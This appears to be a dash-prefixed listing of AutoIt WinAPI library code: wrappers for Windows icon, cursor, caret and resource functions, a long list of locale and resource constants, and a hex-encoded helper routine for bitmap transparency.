- Local $tinfo = DllStructCreate($tagiconinfo)
- Local $aret = DllCall("user32.dll", "bool", "GetIconInfo", "handle", $hicon, "struct*", $tinfo)
- If @error OR NOT $aret[0] Then Return SetError(@error + 10, @extended, 0)
- Local $aicon[6]
- $aicon[0] = True
- $aicon[1] = DllStructGetData($tinfo, "Icon") <> 0
- $aicon[2] = DllStructGetData($tinfo, "XHotSpot")
- $aicon[3] = DllStructGetData($tinfo, "YHotSpot")
- $aicon[4] = DllStructGetData($tinfo, "hMask")
- $aicon[5] = DllStructGetData($tinfo, "hColor")
- Return $aicon
- EndFunc
- Func _winapi_geticoninfoex($hicon)
- Local $tiiex = DllStructCreate("dword;int;dword;dword;ptr;ptr;ushort;wchar[260];wchar[260]")
- DllStructSetData($tiiex, 1, DllStructGetSize($tiiex))
- Local $aret = DllCall("user32.dll", "bool", "GetIconInfoExW", "handle", $hicon, "struct*", $tiiex)
- If @error OR NOT $aret[0] Then Return SetError(@error + 10, @extended, 0)
- Local $aresult[8]
- For $i = 0 To 7
- $aresult[$i] = DllStructGetData($tiiex, $i + 2)
- Next
- Return $aresult
- EndFunc
- Func _winapi_loadicon($hinstance, $sname)
- Local $stypeofname = "int"
- If IsString($sname) Then
- $stypeofname = "wstr"
- EndIf
- Local $aret = DllCall("user32.dll", "handle", "LoadIconW", "handle", $hinstance, $stypeofname, $sname)
- If @error Then Return SetError(@error, @extended, 0)
- Return $aret[0]
- EndFunc
- Func _winapi_loadiconmetric($hinstance, $sname, $imetric)
- Local $stypeofname = "int"
- If IsString($sname) Then
- $stypeofname = "wstr"
- EndIf
- Local $aret = DllCall("comctl32.dll", "long", "LoadIconMetric", "handle", $hinstance, $stypeofname, $sname, "int", $imetric, "handle*", 0)
- If @error Then Return SetError(@error, @extended, 0)
- If $aret[0] Then Return SetError(10, $aret[0], 0)
- Return $aret[4]
- EndFunc
- Func _winapi_loadiconwithscaledown($hinstance, $sname, $iwidth, $iheight)
- Local $stypeofname = "int"
- If IsString($sname) Then
- $stypeofname = "wstr"
- EndIf
- Local $aret = DllCall("comctl32.dll", "long", "LoadIconWithScaleDown", "handle", $hinstance, $stypeofname, $sname, "int", $iwidth, "int", $iheight, "handle*", 0)
- If @error Then Return SetError(@error, @extended, 0)
- If $aret[0] Then Return SetError(10, $aret[0], 0)
- Return $aret[5]
- EndFunc
- Func _winapi_loadshell32icon($iiconid)
- Local $ticons = DllStructCreate("ptr Data")
- Local $iicons = _winapi_extracticonex("shell32.dll", $iiconid, 0, $ticons, 1)
- If @error Then Return SetError(@error, @extended, 0)
- If $iicons <= 0 Then Return SetError(10, 0, 0)
- Return DllStructGetData($ticons, "Data")
- EndFunc
- Func _winapi_lookupiconidfromdirectoryex($pdata, $bicon = True, $ixdesiredpixels = 0, $iydesiredpixels = 0, $iflags = 0)
- Local $aret = DllCall("user32.dll", "int", "LookupIconIdFromDirectoryEx", "ptr", $pdata, "bool", $bicon, "int", $ixdesiredpixels, "int", $iydesiredpixels, "uint", $iflags)
- If @error Then Return SetError(@error, @extended, 0)
- Return $aret[0]
- EndFunc
- Func _winapi_mirroricon($hicon, $bdelete = False)
- If NOT $bdelete Then
- $hicon = _winapi_copyicon($hicon)
- EndIf
- Local $aret = DllCall("comctl32.dll", "int", 414, "ptr", 0, "ptr*", $hicon)
- If @error OR NOT $aret[0] Then
- Local $ierror = @error + 10
- If $hicon AND NOT $bdelete Then
- _winapi_destroyicon($hicon)
- EndIf
- Return SetError($ierror, 0, 0)
- EndIf
- Return $aret[2]
- EndFunc
- #EndRegion Public Functions
- #Region Embedded DLL Functions
- Func __transparencyproc()
- Static $pproc = 0
- If NOT $pproc Then
- If @AutoItX64 Then
- $pproc = __init(Binary("0x48894C240848895424104C894424184C894C24205541574831C0505050505050" & "4883EC284883BC24800000000074054831C0EB0748C7C0010000004821C07522" & "488BAC248000000048837D180074054831C0EB0748C7C0010000004821C07502" & "EB0948C7C001000000EB034831C04821C0740B4831C04863C0E93C0100004C63" & "7C24784983FF647E0F48C7C0010000004863C0E9220100004C637C24784D21FF" & "7D08C74424780000000048C74424280100000048C74424300000000048C74424" & "3800000000488BAC24800000004C637D04488BAC2480000000486345084C0FAF" & "F849C1E7024983C7FC4C3B7C24380F8C88000000488BAC24800000004C8B7D18" & "4C037C24384983C7034C897C2440488B6C2440480FB64500505888442448807C" & "244800744B4C0FB67C244848634424784C0FAFF84C89F848C7C1640000004899" & "48F7F94989C74C89F850488B6C244858884500488B6C2440807D0000740948C7" & "4424280000000048C7442430010000004883442438040F8149FFFFFF48837C24" & "3000741148837C242800740948C7C001000000EB034831C04821C0740E48C7C0" & "FFFFFFFF4863C0EB11EB0C48C7C0010000004863C0EB034831C04883C458415F" & "5DC3"))
- Else
- $pproc = __init(Binary("0x555331C05050505050837C242800740431C0EB05B80100000021C075198B6C24" & "28837D1400740431C0EB05B80100000021C07502EB07B801000000EB0231C021" & "C0740731C0E9E50000008B5C242483FB647E0AB801000000E9D20000008B5C24" & "2421DB7D08C744242400000000C7042401000000C744240400000000C7442408" & "000000008B6C24288B5D048B6C24280FAF5D08C1E30283C3FC3B5C24087C648B" & "6C24288B5D14035C240883C303895C240C8B6C240C0FB6450088442410807C24" & "100074380FB65C24100FAF5C242489D8B96400000099F7F989C3538B6C241058" & "8845008B6C240C807D00007407C7042400000000C74424040100000083442408" & "047181837C240400740D833C24007407B801000000EB0231C021C07409B8FFFF" & "FFFFEB0BEB07B801000000EB0231C083C4145B5DC21000"))
- EndIf
- EndIf
- Return $pproc
- EndFunc
- #EndRegion Embedded DLL Functions
- Global Const $linguistic_ignorecase = 16
- Global Const $linguistic_ignorediacritic = 32
- Global Const $norm_ignorecase = 1
- Global Const $norm_ignorekanatype = 65536
- Global Const $norm_ignorenonspace = 2
- Global Const $norm_ignoresymbols = 4
- Global Const $norm_ignorewidth = 131072
- Global Const $norm_linguistic_casing = 134217728
- Global Const $sort_digitsasnumbers = 8
- Global Const $sort_stringsort = 4096
- Global Const $cstr_less_than = 1
- Global Const $cstr_equal = 2
- Global Const $cstr_greater_than = 3
- Global Const $mui_language_id = 4
- Global Const $mui_language_name = 8
- Global Const $date_autolayout = 64
- Global Const $date_longdate = 2
- Global Const $date_ltrreading = 16
- Global Const $date_shortdate = 1
- Global Const $date_rtlreading = 32
- Global Const $date_use_alt_calendar = 4
- Global Const $date_yearmonth = 8
- Global Const $geo_nation = 1
- Global Const $geo_latitude = 2
- Global Const $geo_longitude = 3
- Global Const $geo_iso2 = 4
- Global Const $geo_iso3 = 5
- Global Const $geo_rfc1766 = 6
- Global Const $geo_lcid = 7
- Global Const $geo_friendlyname = 8
- Global Const $geo_officialname = 9
- Global Const $geo_timezones = 10
- Global Const $geo_officiallanguages = 11
- Global Const $geo_iso_un_number = 12
- Global Const $geo_parent = 13
- Global Const $locale_ilanguage = 1
- Global Const $locale_slanguage = 2
- Global Const $locale_senglanguage = 4097
- Global Const $locale_sabbrevlangname = 3
- Global Const $locale_snativelangname = 4
- Global Const $locale_icountry = 5
- Global Const $locale_scountry = 6
- Global Const $locale_sengcountry = 4098
- Global Const $locale_sabbrevctryname = 7
- Global Const $locale_snativectryname = 8
- Global Const $locale_idefaultlanguage = 9
- Global Const $locale_idefaultcountry = 10
- Global Const $locale_idefaultcodepage = 11
- Global Const $locale_idefaultansicodepage = 4100
- Global Const $locale_idefaultmaccodepage = 4113
- Global Const $locale_slist = 12
- Global Const $locale_imeasure = 13
- Global Const $locale_sdecimal = 14
- Global Const $locale_sthousand = 15
- Global Const $locale_sgrouping = 16
- Global Const $locale_idigits = 17
- Global Const $locale_ilzero = 18
- Global Const $locale_inegnumber = 4112
- Global Const $locale_snativedigits = 19
- Global Const $locale_scurrency = 20
- Global Const $locale_sintlsymbol = 21
- Global Const $locale_smondecimalsep = 22
- Global Const $locale_smonthousandsep = 23
- Global Const $locale_smongrouping = 24
- Global Const $locale_icurrdigits = 25
- Global Const $locale_iintlcurrdigits = 26
- Global Const $locale_icurrency = 27
- Global Const $locale_inegcurr = 28
- Global Const $locale_sdate = 29
- Global Const $locale_stime = 30
- Global Const $locale_sshortdate = 31
- Global Const $locale_slongdate = 32
- Global Const $locale_stimeformat = 4099
- Global Const $locale_idate = 33
- Global Const $locale_ildate = 34
- Global Const $locale_itime = 35
- Global Const $locale_itimemarkposn = 4101
- Global Const $locale_icentury = 36
- Global Const $locale_itlzero = 37
- Global Const $locale_idaylzero = 38
- Global Const $locale_imonlzero = 39
- Global Const $locale_s1159 = 40
- Global Const $locale_s2359 = 41
- Global Const $locale_icalendartype = 4105
- Global Const $locale_ioptionalcalendar = 4107
- Global Const $locale_ifirstdayofweek = 4108
- Global Const $locale_ifirstweekofyear = 4109
- Global Const $locale_sdayname1 = 42
- Global Const $locale_sdayname2 = 43
- Global Const $locale_sdayname3 = 44
- Global Const $locale_sdayname4 = 45
- Global Const $locale_sdayname5 = 46
- Global Const $locale_sdayname6 = 47
- Global Const $locale_sdayname7 = 48
- Global Const $locale_sabbrevdayname1 = 49
- Global Const $locale_sabbrevdayname2 = 50
- Global Const $locale_sabbrevdayname3 = 51
- Global Const $locale_sabbrevdayname4 = 52
- Global Const $locale_sabbrevdayname5 = 53
- Global Const $locale_sabbrevdayname6 = 54
- Global Const $locale_sabbrevdayname7 = 55
- Global Const $locale_smonthname1 = 56
- Global Const $locale_smonthname2 = 57
- Global Const $locale_smonthname3 = 58
- Global Const $locale_smonthname4 = 59
- Global Const $locale_smonthname5 = 60
- Global Const $locale_smonthname6 = 61
- Global Const $locale_smonthname7 = 62
- Global Const $locale_smonthname8 = 63
- Global Const $locale_smonthname9 = 64
- Global Const $locale_smonthname10 = 65
- Global Const $locale_smonthname11 = 66
- Global Const $locale_smonthname12 = 67
- Global Const $locale_smonthname13 = 4110
- Global Const $locale_sabbrevmonthname1 = 68
- Global Const $locale_sabbrevmonthname2 = 69
- Global Const $locale_sabbrevmonthname3 = 70
- Global Const $locale_sabbrevmonthname4 = 71
- Global Const $locale_sabbrevmonthname5 = 72
- Global Const $locale_sabbrevmonthname6 = 73
- Global Const $locale_sabbrevmonthname7 = 74
- Global Const $locale_sabbrevmonthname8 = 75
- Global Const $locale_sabbrevmonthname9 = 76
- Global Const $locale_sabbrevmonthname10 = 77
- Global Const $locale_sabbrevmonthname11 = 78
- Global Const $locale_sabbrevmonthname12 = 79
- Global Const $locale_sabbrevmonthname13 = 4111
- Global Const $locale_spositivesign = 80
- Global Const $locale_snegativesign = 81
- Global Const $locale_ipossignposn = 82
- Global Const $locale_inegsignposn = 83
- Global Const $locale_ipossymprecedes = 84
- Global Const $locale_ipossepbyspace = 85
- Global Const $locale_inegsymprecedes = 86
- Global Const $locale_inegsepbyspace = 87
- Global Const $locale_fontsignature = 88
- Global Const $locale_siso639langname = 89
- Global Const $locale_siso3166ctryname = 90
- Global Const $locale_idefaultebcdiccodepage = 4114
- Global Const $locale_ipapersize = 4106
- Global Const $locale_sengcurrname = 4103
- Global Const $locale_snativecurrname = 4104
- Global Const $locale_syearmonth = 4102
- Global Const $locale_ssortname = 4115
- Global Const $locale_idigitsubstitution = 4116
- Global Const $locale_custom_default = 3072
- Global Const $locale_custom_ui_default = 5120
- Global Const $locale_custom_unspecified = 4096
- Global Const $locale_invariant = 127
- Global Const $locale_system_default = 2048
- Global Const $locale_user_default = 1024
- Global Const $time_force24hourformat = 8
- Global Const $time_nominutesorseconds = 1
- Global Const $time_noseconds = 2
- Global Const $time_notimemarker = 4
- Global Const $lcid_installed = 1
- Global Const $lcid_supported = 2
- Global Const $rt_accelerator = 9
- Global Const $rt_anicursor = 21
- Global Const $rt_aniicon = 22
- Global Const $rt_bitmap = 2
- Global Const $rt_cursor = 1
- Global Const $rt_dialog = 5
- Global Const $rt_dlginclude = 17
- Global Const $rt_font = 8
- Global Const $rt_fontdir = 7
- Global Const $rt_group_cursor = 12
- Global Const $rt_group_icon = 14
- Global Const $rt_html = 23
- Global Const $rt_icon = 3
- Global Const $rt_manifest = 24
- Global Const $rt_menu = 4
- Global Const $rt_messagetable = 11
- Global Const $rt_plugplay = 19
- Global Const $rt_rcdata = 10
- Global Const $rt_string = 6
- Global Const $rt_version = 16
- Global Const $rt_vxd = 20
- Global Const $file_ver_get_localised = 1
- Global Const $file_ver_get_neutral = 2
- Global Const $file_ver_get_prefetched = 4
- Global Const $obm_trtype = 32732
- Global Const $obm_lfarrowi = 32734
- Global Const $obm_rgarrowi = 32735
- Global Const $obm_dnarrowi = 32736
- Global Const $obm_uparrowi = 32737
- Global Const $obm_combo = 32738
- Global Const $obm_mnarrow = 32739
- Global Const $obm_lfarrowd = 32740
- Global Const $obm_rgarrowd = 32741
- Global Const $obm_dnarrowd = 32742
- Global Const $obm_uparrowd = 32743
- Global Const $obm_restored = 32744
- Global Const $obm_zoomd = 32745
- Global Const $obm_reduced = 32746
- Global Const $obm_restore = 32747
- Global Const $obm_zoom = 32748
- Global Const $obm_reduce = 32749
- Global Const $obm_lfarrow = 32750
- Global Const $obm_rgarrow = 32751
- Global Const $obm_dnarrow = 32752
- Global Const $obm_uparrow = 32753
- Global Const $obm_close = 32754
- Global Const $obm_old_restore = 32755
- Global Const $obm_old_zoom = 32756
- Global Const $obm_old_reduce = 32757
- Global Const $obm_btncorners = 32758
- Global Const $obm_checkboxes = 32759
- Global Const $obm_check = 32760
- Global Const $obm_btsize = 32761
- Global Const $obm_old_lfarrow = 32762
- Global Const $obm_old_rgarrow = 32763
- Global Const $obm_old_dnarrow = 32764
- Global Const $obm_old_uparrow = 32765
- Global Const $obm_size = 32766
- Global Const $obm_old_close = 32767
- Global Const $oic_sample = 32512
- Global Const $oic_hand = 32513
- Global Const $oic_ques = 32514
- Global Const $oic_bang = 32515
- Global Const $oic_note = 32516
- Global Const $oic_winlogo = 32517
- Global Const $oic_warning = $oic_bang
- Global Const $oic_error = $oic_hand
- Global Const $oic_information = $oic_note
- Global Const $dont_resolve_dll_references = 1
- Global Const $load_library_as_datafile = 2
- Global Const $load_with_altered_search_path = 8
- Global Const $load_ignore_code_authz_level = 16
- Global Const $load_library_as_datafile_exclusive = 64
- Global Const $load_library_as_image_resource = 32
- Global Const $load_library_search_application_dir = 512
- Global Const $load_library_search_default_dirs = 4096
- Global Const $load_library_search_dll_load_dir = 256
- Global Const $load_library_search_system32 = 2048
- Global Const $load_library_search_user_dirs = 1024
- Global Const $ocr_normal = 32512
- Global Const $ocr_ibeam = 32513
- Global Const $ocr_wait = 32514
- Global Const $ocr_cross = 32515
- Global Const $ocr_up = 32516
- Global Const $ocr_size = 32640
- Global Const $ocr_icon = 32641
- Global Const $ocr_sizenwse = 32642
- Global Const $ocr_sizenesw = 32643
- Global Const $ocr_sizewe = 32644
- Global Const $ocr_sizens = 32645
- Global Const $ocr_sizeall = 32646
- Global Const $ocr_icocur = 32647
- Global Const $ocr_no = 32648
- Global Const $ocr_hand = 32649
- Global Const $ocr_appstarting = 32650
- Global Const $ocr_help = 32651
- Global Const $vs_ff_debug = 1
- Global Const $vs_ff_infoinferred = 16
- Global Const $vs_ff_patched = 4
- Global Const $vs_ff_prerelease = 2
- Global Const $vs_ff_privatebuild = 8
- Global Const $vs_ff_specialbuild = 32
- Global Const $vos_dos = 65536
- Global Const $vos_nt = 262144
- Global Const $vos__windows16 = 1
- Global Const $vos__windows32 = 4
- Global Const $vos_os216 = 131072
- Global Const $vos_os232 = 196608
- Global Const $vos__pm16 = 2
- Global Const $vos__pm32 = 3
- Global Const $vos_unknown = 0
- Global Const $vos_dos_windows16 = 65537
- Global Const $vos_dos_windows32 = 65540
- Global Const $vos_nt_windows32 = 262148
- Global Const $vos_os216_pm16 = 131074
- Global Const $vos_os232_pm32 = 196611
- Global Const $vft_app = 1
- Global Const $vft_dll = 2
- Global Const $vft_drv = 3
- Global Const $vft_font = 4
- Global Const $vft_static_lib = 7
- Global Const $vft_unknown = 0
- Global Const $vft_vxd = 5
- Global Const $vft2_drv_comm = 10
- Global Const $vft2_drv_display = 4
- Global Const $vft2_drv_installable = 8
- Global Const $vft2_drv_keyboard = 2
- Global Const $vft2_drv_language = 3
- Global Const $vft2_drv_mouse = 5
- Global Const $vft2_drv_network = 6
- Global Const $vft2_drv_printer = 1
- Global Const $vft2_drv_sound = 9
- Global Const $vft2_drv_system = 7
- Global Const $vft2_drv_versioned_printer = 12
- Global Const $vft2_unknown = 0
- Global Const $vft2_font_raster = 1
- Global Const $vft2_font_truetype = 3
- Global Const $vft2_font_vector = 2
- #Region Global Variables and Constants
- Global $__g_vval
- Global Const $tagvs_fixedfileinfo = "dword Signature;dword StrucVersion;dword FileVersionMS;dword FileVersionLS;dword ProductVersionMS;dword ProductVersionLS;dword FileFlagsMask;dword FileFlags;dword FileOS;dword FileType;dword FileSubtype;dword FileDateMS;dword FileDateLS"
- #EndRegion Global Variables and Constants
- #Region Functions list
- #EndRegion Functions list
- #Region Public Functions
- Func _winapi_beginupdateresource($sfilepath, $bdelete = False)
- Local $aret = DllCall("kernel32.dll", "handle", "BeginUpdateResourceW", "wstr", $sfilepath, "bool", $bdelete)
- If @error Then Return SetError(@error, @extended, 0)
- Return $aret[0]
- EndFunc
- Func _winapi_clipcursor($trect)
- Local $aret = DllCall("user32.dll", "bool", "ClipCursor", "struct*", $trect)
- If @error Then Return SetError(@error, @extended, False)
- Return $aret[0]
- EndFunc
- Func _winapi_copycursor($hcursor)
- Return _winapi_copyicon($hcursor)
- EndFunc
- Func _winapi_createcaret($hwnd, $hbitmap, $iwidth = 0, $iheight = 0)
- Local $aret = DllCall("user32.dll", "bool", "CreateCaret", "hwnd", $hwnd, "handle", $hbitmap, "int", $iwidth, "int", $iheight)
- If @error Then Return SetError(@error, @extended, False)
- Return $aret[0]
- EndFunc
- Func _winapi_destroycaret()
- Local $aret = DllCall("user32.dll", "bool", "DestroyCaret")
- If @error Then Return SetError(@error, @extended, 0)
- Return $aret[0]
- EndFunc
- Func _winapi_destroycursor($hcursor)
- Local $aret = DllCall("user32.dll", "bool", "DestroyCursor", "handle", $hcursor)
- If @error Then Return SetError(@error, @extended, 0)
- Return $aret[0]
- EndFunc
- Func _winapi_endupdateresource($hupdate, $bdiscard = False)
- Local $aret = DllCall("kernel32.dll", "bool", "EndUpdateResourceW", "handle", $hupdate, "bool", $bdiscard)
- If @error Then Return SetError(@error, @extended, False)
- Return $aret[0]
- EndFunc
- Func _winapi_enumresourcelanguages($hmodule, $stype, $sname)
- Local $ilibrary = 0, $stypeoftype = "int", $stypeofname = "int"
- If IsString($hmodule) Then
- If StringStripWS($hmodule, $str_stripleading + $str_striptrailing) Then
- $hmodule = _winapi_loadlibraryex($hmodule, 3)
- If NOT $hmodule Then Return SetError(1, 0, 0)
- $ilibrary = 1
- Else
- $hmodule = 0
- EndIf
- EndIf
- If IsString($stype) Then
- $stypeoftype = "wstr"
- EndIf
- If IsString($sname) Then
- $stypeofname = "wstr"
- EndIf
- Dim $__g_venum[101] = [0]
- Local $henumproc = DllCallbackRegister("__EnumResLanguagesProc", "bool", "handle;ptr;ptr;word;long_ptr")
- Local $aret = DllCall("kernel32.dll", "bool", "EnumResourceLanguagesW", "handle", $hmodule, $stypeoftype, $stype, $stypeofname, $sname, "ptr", DllCallbackGetPtr($henumproc), "long_ptr", 0)
- If @error OR NOT $aret[0] OR NOT $__g_venum[0] Then
- $__g_venum = @error + 10
- EndIf
- If $ilibrary Then
- _winapi_freelibrary($hmodule)
- EndIf
- DllCallbackFree($henumproc)
- If $__g_venum Then Return SetError($__g_venum, 0, 0)
- __inc($__g_venum, -1)
- Return $__g_venum
- EndFunc
- Func _winapi_enumresourcenames($hmodule, $stype)
- Local $aret, $henumproc, $ilibrary = 0, $stypeoftype = "int"
- If IsString($hmodule) Then
- If StringStripWS($hmodule, $str_stripleading + $str_striptrailing) Then
- $hmodule = _winapi_loadlibraryex($hmodule, 3)
- If NOT $hmodule Then Return SetError(1, 0, 0)
- $ilibrary = 1
- Else
- $hmodule = 0
- EndIf
- EndIf
- If IsString($stype) Then
- $stypeoftype = "wstr"
- EndIf
- Dim $__g_venum[101] = [0]
- $henumproc = DllCallbackRegister("__EnumResNamesProc", "bool", "handle;ptr;ptr;long_ptr")
- $aret = DllCall("kernel32.dll", "bool", "EnumResourceNamesW", "handle", $hmodule, $stypeoftype, $stype, "ptr", DllCallbackGetPtr($henumproc), "long_ptr", 0)
- If @error OR NOT $aret[0] OR (NOT $__g_venum[0]) Then
- $__g_venum = @error + 10
- EndIf
- If $ilibrary Then
- _winapi_freelibrary($hmodule)
- EndIf
- DllCallbackFree($henumproc)
- If $__g_venum Then Return SetError($__g_venum, 0, 0)
- __inc($__g_venum, -1)
- Return $__g_venum
- EndFunc
- Func _winapi_enumresourcetypes($hmodule)
- Local $ilibrary = 0
- If IsString($hmodule) Then
- If StringStripWS($hmodule, $str_stripleading + $str_striptrailing) Then
- $hmodule = _winapi_loadlibraryex($hmodule, 3)
- If NOT $hmodule Then Return SetError(1, 0, 0)
- $ilibrary = 1
- Else
- $hmodule = 0
- EndIf
- EndIf
- Dim $__g_venum[101] = [0]
- Local $henumproc = DllCallbackRegister("__EnumResTypesProc", "bool", "handle;ptr;long_ptr")
- Local $aret = DllCall("kernel32.dll", "bool", "EnumResourceTypesW", "handle", $hmodule, "ptr", DllCallbackGetPtr($henumproc), "long_ptr", 0)
- If @error OR NOT $aret[0] OR (NOT $__g_venum[0]) Then
- $__g_venum = @error + 10
- EndIf
- If $ilibrary Then
- _winapi_freelibrary($hmodule)
- EndIf
- DllCallbackFree($henumproc)
- If $__g_venum Then Return SetError($__g_venum, 0, 0)
- __inc($__g_venum, -1)
- Return $__g_venum
- EndFunc
- Func _winapi_findresource($hinstance, $stype, $sname)
- Local $stypeoftype = "int", $stypeofname = "int"
- If IsString($stype) Then
- $stypeoftype = "wstr"
- EndIf
- If IsString($sname) Then
- $stypeofname = "wstr"
- EndIf
- Local $aret = DllCall("kernel32.dll", "handle", "FindResourceW", "handle", $hinstance, $stypeofname, $sname, $stypeoftype, $stype)
- If @error Then Return SetError(@error, @extended, 0)
- Return $aret[0]
- EndFunc
- Func _winapi_findresourceex($hinstance, $stype, $sname, $ilanguage)
- Local $stypeoftype = "int", $stypeofname = "int"
- If IsString($stype) Then
- $stypeoftype = "wstr"
- EndIf
- If IsString($sname) Then
- $stypeofname = "wstr"
- EndIf
- Local $aret = DllCall("kernel32.dll", "handle", "FindResourceExW", "handle", $hinstance, $stypeoftype, $stype, $stypeofname, $sname, "ushort", $ilanguage)
- If @error Then Return SetError(@error, @extended, 0)
- Return $aret[0]
- EndFunc
- Func _winapi_freeresource($hdata)
- Local $aret = DllCall("kernel32.dll", "bool", "FreeResource", "handle", $hdata)
- If @error Then Return SetError(@error, @extended, False)
- Return $aret[0]
- EndFunc
- Func _winapi_getcaretblinktime()
- Local $aret = DllCall("user32.dll", "uint", "GetCaretBlinkTime")
- If @error Then Return SetError(@error, @extended, 0)
- Return $aret[0]
- EndFunc
- Func _winapi_getcaretpos()
- Local $tpoint = DllStructCreate($tagpoint)
- Local $aret = DllCall("user32.dll", "bool", "GetCaretPos", "struct*", $tagpoint)
- If @error OR NOT $aret[0] Then Return SetError(@error + 10, @extended, 0)
- Local $aresult[2]
- For $i = 0 To 1
- $aresult[$i] = DllStructGetData($tpoint, $i + 1)
- Next
- Return $aresult
- EndFunc
- Func _winapi_getclipcursor()
- Local $trect = DllStructCreate($tagrect)
- Local $aret = DllCall("user32.dll", "bool", "GetClipCursor", "struct*", $trect)
- If @error OR NOT $aret[0] Then Return SetError(@error + 10, @extended, 0)
- Return $trect
- EndFunc
- Func _winapi_getcursor()
- Local $aret = DllCall("user32.dll", "handle", "GetCursor")
- If @error Then Return SetError(@error, @extended, 0)
- Return $aret[0]
- EndFunc
- Func _winapi_getfileversioninfo($sfilepath, ByRef $pbuffer, $iflags = 0)
- Local $aret
- If $__winver >= 1536 Then
- $aret = DllCall("version.dll", "dword", "GetFileVersionInfoSizeExW", "dword", BitAND($iflags, 3), "wstr", $sfilepath, "ptr", 0)
- Else
- $aret = DllCall("version.dll", "dword", "GetFileVersionInfoSizeW", "wstr", $sfilepath, "ptr", 0)
- EndIf
- If @error OR NOT $aret[0] Then Return SetError(@error, @extended, 0)
- $pbuffer = __heaprealloc($pbuffer, $aret[0], 1)
- If @error Then Return SetError(@error + 100, @extended, 0)
- Local $inbbyte = $aret[0]
- If $__winver >= 1536 Then
- $aret = DllCall("version.dll", "bool", "GetFileVersionInfoExW", "dword", BitAND($iflags, 7), "wstr", $sfilepath, "dword", 0, "dword", $inbbyte, "ptr", $pbuffer)
- Else
- $aret = DllCall("version.dll", "bool", "GetFileVersionInfoW", "wstr", $sfilepath, "dword", 0, "dword", $inbbyte, "ptr", $pbuffer)
- EndIf
- If @error OR NOT $aret[0] Then Return SetError(@error + 10, @extended, 0)
- Return $inbbyte
- EndFunc
- Func _winapi_hidecaret($hwnd)
- Local $aret = DllCall("user32.dll", "int", "HideCaret", "hwnd", $hwnd)
- If @error Then Return SetError(@error, @extended, False)
- Return $aret[0]
- EndFunc
- Func _winapi_loadbitmap($hinstance, $sbitmap)
- Local $sbitmaptype = "int"
- If IsString($sbitmap) Then $sbitmaptype = "wstr"
- Local $aresult = DllCall("user32.dll", "handle", "LoadBitmapW", "handle", $hinstance, $sbitmaptype, $sbitmap)
- If @error Then Return SetError(@error, @extended, 0)
- Return $aresult[0]
- EndFunc
- Func _winapi_loadcursor($hinstance, $sname)
- Local $stypeofname = "int"
- If IsString($sname) Then
- $stypeofname = "wstr"
- EndIf
- Local $aret = DllCall("user32.dll", "handle", "LoadCursorW", "handle", $hinstance, $stypeofname, $sname)
- If @error Then Return SetError(@error, @extended, 0)
- Return $aret[0]
- EndFunc
- Func _winapi_loadcursorfromfile($sfilepath)
- Local $aret = DllCall("user32.dll", "handle", "LoadCursorFromFileW", "wstr", $sfilepath)
- If @error Then Return SetError(@error, @extended, 0)
- Return $aret[0]
- EndFunc
- Func _winapi_loadindirectstring($sstrin)
- Local $aret = DllCall("shlwapi.dll", "uint", "SHLoadIndirectString", "wstr", $sstrin, "wstr", "", "uint", 4096, "ptr*", 0)
- If @error Then Return SetError(@error, @extended, "")
- If $aret[0] Then Return SetError(10, $aret[0], "")
- Return $aret[2]
- EndFunc
- Func _winapi_loadstring($hinstance, $istringid)
- Local $aresult = DllCall("user32.dll", "int", "LoadStringW", "handle", $hinstance, "uint", $istringid, "wstr", "", "int", 4096)
- If @error OR NOT $aresult[0] Then Return SetError(@error + 10, @extended, "")
- Return SetExtended($aresult[0], $aresult[3])
- EndFunc
- Func _winapi_loadlibraryex($sfilename, $iflags = 0)
- Local $aresult = DllCall("kernel32.dll", "handle", "LoadLibraryExW", "wstr", $sfilename, "ptr", 0, "dword", $iflags)
- If @error Then Return SetError(@error, @extended, 0)
- Return $aresult[0]
- EndFunc
- Func _winapi_loadresource($hinstance, $hresource)
- Local $aret = DllCall("kernel32.dll", "handle", "LoadResource", "handle", $hinstance, "handle", $hresource)
- If @error Then Return SetError(@error, @extended, 0)
- Return $aret[0]
- EndFunc
- Func _winapi_loadstringex($hmodule, $iid, $ilanguage = $locale_user_default)
- Local $ilibrary = 0
- If IsString($hmodule) Then
- If StringStripWS($hmodule, $str_stripleading + $str_striptrailing) Then
- $hmodule = _winapi_loadlibraryex($hmodule, 3)
- If NOT $hmodule Then Return SetError(@error + 20, @extended, "")
- $ilibrary = 1
- Else
- $hmodule = 0
- EndIf
- EndIf
- Local $sresult = ""
- Local $pdata = __resload($hmodule, 6, Floor($iid / 16) + 1, $ilanguage)
- If NOT @error Then
- Local $ioffset = 0
- For $i = 0 To Mod($iid, 16) - 1
- $ioffset += 2 * (DllStructGetData(DllStructCreate("ushort", $pdata + $ioffset), 1) + 1)
- Next
- $sresult = DllStructGetData(DllStructCreate("ushort;wchar[" & DllStructGetData(DllStructCreate("ushort", $pdata + $ioffset), 1) & "]", $pdata + $ioffset), 2)
- If @error Then $sresult = ""
- Else
- Return SetError(10, 0, "")
- EndIf
- If $ilibrary Then
- _winapi_freelibrary($hmodule)
- EndIf
- Return SetError(Number(NOT $sresult), 0, $sresult)
- EndFunc
- Func _winapi_lockresource($hdata)
- Local $aret = DllCall("kernel32.dll", "ptr", "LockResource", "handle", $hdata)
- If @error Then Return SetError(@error, @extended, 0)
- Return $aret[0]
- EndFunc
- Func _winapi_setcaretblinktime($iduration)
- Local $iprev = _winapi_getcaretblinktime()
- If NOT $iprev Then Return SetError(@error + 20, @extended, 0)
- Local $aret = DllCall("user32.dll", "bool", "SetCaretBlinkTime", "uint", $iduration)
- If @error OR NOT $aret[0] Then Return SetError(@error + 10, @extended, 0)
- Return $iprev
- EndFunc
- Func _winapi_setcaretpos($ix, $iy)
- Local $aret = DllCall("user32.dll", "int", "SetCaretPos", "int", $ix, "int", $iy)
- If @error Then Return SetError(@error, @extended, 0)
- Return $aret[0]
- EndFunc
- Func _winapi_setcursor($hcursor)
- Local $aresult = DllCall("user32.dll", "handle", "SetCursor", "handle", $hcursor)
- If @error Then Return SetError(@error, @extended, 0)
- Return $aresult[0]
- EndFunc
- Func _winapi_setsystemcursor($hcursor, $iid, $bcopy = False)
- If $bcopy Then
- $hcursor = _winapi_copycursor($hcursor)
- EndIf
- Local $aret = DllCall("user32.dll", "bool", "SetSystemCursor", "handle", $hcursor, "dword", $iid)
- If @error Then Return SetError(@error, @extended, False)
- Return $aret[0]
- EndFunc
- Func _winapi_showcaret($hwnd)
- Local $aret = DllCall("user32.dll", "bool", "ShowCaret", "hwnd", $hwnd)
- If @error Then Return SetError(@error, @extended, False)
- Return $aret[0]
- EndFunc
- Func _winapi_showcursor($bshow)
